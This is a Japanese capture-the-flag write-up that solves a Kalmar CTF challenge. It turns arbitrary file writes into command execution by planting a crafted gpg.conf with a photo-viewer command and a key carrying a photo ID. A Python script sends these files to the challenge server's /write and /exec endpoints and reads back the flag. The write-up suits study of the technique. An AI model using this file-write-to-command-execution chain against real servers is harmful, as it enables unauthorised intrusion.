私が問題を確認した時点で、鳥さんが利用可能な実行ファイル(PATH に乗っている3文字以下の名前の実行ファイル)を列挙してくれていた。pip がかなり怪しいものの、SYS_PTRACE のケイパビリティを追加した上で strace で見てみると、ホームディレクトリ下に .pip.config といったディレクトリが存在していることを前提としているのがわかる。今回は難しそうだ。

user@404d44f2da3b:~$ strace pip 2>&1 | grep "/home/user"
newfstatat(AT_FDCWD, "/home/user/.local/lib/python3.12/site-packages", 0x7ffd477399b0, 0) = -1 ENOENT (No such file or directory)
getcwd("/home/user", 1024)              = 11
getcwd("/home/user", 1024)              = 11
newfstatat(AT_FDCWD, "/home/user/.pip/pip.conf", 0x7ffd4773a270, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/home/user/.config/pip/pip.conf", 0x7ffd4773a270, 0) = -1 ENOENT (No such file or directory)

ありがとう、GPG

ほかに目についた高機能そうなコマンドとして gpg があった。先ほどと同様に strace で実行しつつ、参照しようとしているファイルがないか確認するために ENOENTgrep する。すると、gpg.conf というファイルを読もうとしていることがわかる。

access("/home/user/.gnupg/gpg.conf-2.4.4", R_OK) = -1 ENOENT (No such file or directory)
access("/home/user/.gnupg/gpg.conf-2.4", R_OK) = -1 ENOENT (No such file or directory)
access("/home/user/.gnupg/gpg.conf-2", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/user/.gnupg/gpg.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/user/.gnupg/common.conf", O_RDONLY) = -1 ENOENT (No such file or directory)

ホームディレクトリ下に .gnupg というディレクトリが存在しているのを前提としており、難しそうに思える。しかしながら、gpg と特にオプション等を付けず実行してみたところ、.gnupg というディレクトリが作成されているのを確認できた。これだ。

gpg.conf では、ロングオプションで設定可能な項目をいじることができるらしい。GPGのドキュメントを眺めてOSコマンドを実行できそうなものがないか、"command" 等で検索しつつ探したところ、--photo-viewer というオプションが見つかった。GPGで画像ビューア…?

たとえば --list-keys 等のキーや署名をリストアップするコマンドが実行された際に、--list-options show-photos というオプションを付与すると画像を表示するようになるらしい。その際の画像ビューアとなるコマンドを指定できるのが先程のオプションだ。この画像は --edit-keyaddphoto からキーに追加できる。

解く

さて、これで何をすればよいかが大体わかった。後はどうやって実行可能な条件を整えるかというところだけれども、たとえば画像を含む公開鍵等については適当な使い捨てのコンテナを別途用意して準備しておき、そこから必要なファイルを取り出して問題サーバに投げつければよい。

(2025-03-11追記) コメントで指摘があったため、この手順について詳しく書く。画像を含む公開鍵等は以下の手順で生成した。これによって自動的に /root/.gnupg/pubring.kbx に公開鍵が書き込まれるので、docker cp key-tsukuru:/root/.gnupg/pubring.kbx . のようにして取り出せる。

前述の通り /write というAPIを使えばパーミッションが許す限り好きな場所に何度でもファイルを書き込めるから、問題サーバにおける(Webサーバのプロセスが書き込み権限を持っている)ホームディレクトリである /home/user/ 下にも書き込める。gpg はホームディレクトリの ~/.gnupg/ 下の設定ファイル等を参照するので、/home/user/.gnupg/ 下に細工した gpg.conf と今作成された pubring.kbx を書き込む。

ちなみに、なぜわざわざ鍵に画像を埋め込んでいるのかというと、上記の --list-keys において --photo-viewer オプションで指定したOSコマンドが実行されるのは、画像を含む公開鍵が鍵の一覧に存在している場合のみだから。なお、trustdb.gpg は実際には必要がなかったため、後述のexploitからは削除した。

$ docker run --rm -it --name key-tsukuru ubuntu:24.04
root@2d35fe2d10b6:/# # とりあえずGPGをインストール
root@2d35fe2d10b6:/# cd
root@2d35fe2d10b6:~# apt update -y && apt install -y gpg wget
…

root@2d35fe2d10b6:/# # GPGの初回起動で初期化してもらう
root@2d35fe2d10b6:~# gpg
gpg: directory '/root/.gnupg' created
gpg: keybox '/root/.gnupg/pubring.kbx' created
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: Go ahead and type your message ...
^C
gpg: signal Interrupt caught ... exiting

root@2d35fe2d10b6:/# # なんでもいいので鍵を作る
root@2d35fe2d10b6:~# gpg --expert --full-gen-key 
…
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: directory '/root/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/root/.gnupg/openpgp-revocs.d/572094B12642AB12F17BCE556C766C4FE92A7B7A.rev'
public and secret key created and signed.

pub   ed25519 2025-03-10 [SC]
      572094B12642AB12F17BCE556C766C4FE92A7B7A
uid                      poyo (poyo) <poyo@example.com>
sub   cv25519 2025-03-10 [E]

root@2d35fe2d10b6:~# # なんでもよいのでJPEGを用意し、鍵に埋め込む
root@2d35fe2d10b6:~# wget https://upload.wikimedia.org/wikipedia/en/a/a9/Example.jpg
root@2d35fe2d10b6:~# root@2d35fe2d10b6:~# gpg --edit-key 572094B12642AB12F17BCE556C766C4FE92A7B7A
gpg (GnuPG) 2.4.4; Copyright (C) 2024 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

sec  ed25519/6C766C4FE92A7B7A
     created: 2025-03-10  expires: never       usage: SC
     trust: ultimate      validity: ultimate
ssb  cv25519/84320128A1B8B569
     created: 2025-03-10  expires: never       usage: E
[ultimate] (1). poyo (poyo) <poyo@example.com>

gpg> addphoto

Pick an image to use for your photo ID.  The image must be a JPEG file.
Remember that the image is stored within your public key.  If you use a
very large picture, your key will become very large as well!
Keeping the image close to 240x288 is a good size to use.

Enter JPEG filename for photo ID: /root/Example.jpg
This JPEG is really large (25303 bytes) !
Are you sure you want to use it? (y/N) y
Is this photo correct (y/N/q)? y

sec  ed25519/6C766C4FE92A7B7A
     created: 2025-03-10  expires: never       usage: SC
     trust: ultimate      validity: ultimate
ssb  cv25519/84320128A1B8B569
     created: 2025-03-10  expires: never       usage: E
[ultimate] (1). poyo (poyo) <poyo@example.com>
[ unknown] (2)  [jpeg image of size 25303]
gpg> quit
Save changes? (y/N) y

(追記終わり)

ということで、できあがったファイルを問題サーバに投げるスクリプトを用意した。

import httpx
with httpx.Client(base_url='https://(省略)') as client:
    client.get('/exec?cmd=gpg')
    # client.post('/write?filename=/home/user/.gnupg/trustdb.gpg', data=open('trustdb.gpg','rb').read()) # 改めて検証したところ必要なかったので削除@2025-03-11
    client.post('/write?filename=/home/user/.gnupg/pubring.kbx', data=open('pubring.kbx','rb').read())
    client.post('/write?filename=/home/user/.gnupg/gpg.conf', data='''
list-keys
list-options show-photos
photo-viewer "/would 'you be so kind to provide me with a flag' > /tmp/nekochan"
'''.strip())
    client.get('/exec?cmd=gpg')
    r = client.get('/read?filename=/tmp/nekochan')
    print(r.text)

これを実行するとフラグが得られた。

kalmar{so_many_rabbit_holes_to_get_stuck_in_but_luckily_you_found_a_way_to_view_that_picture_678cac2678d0}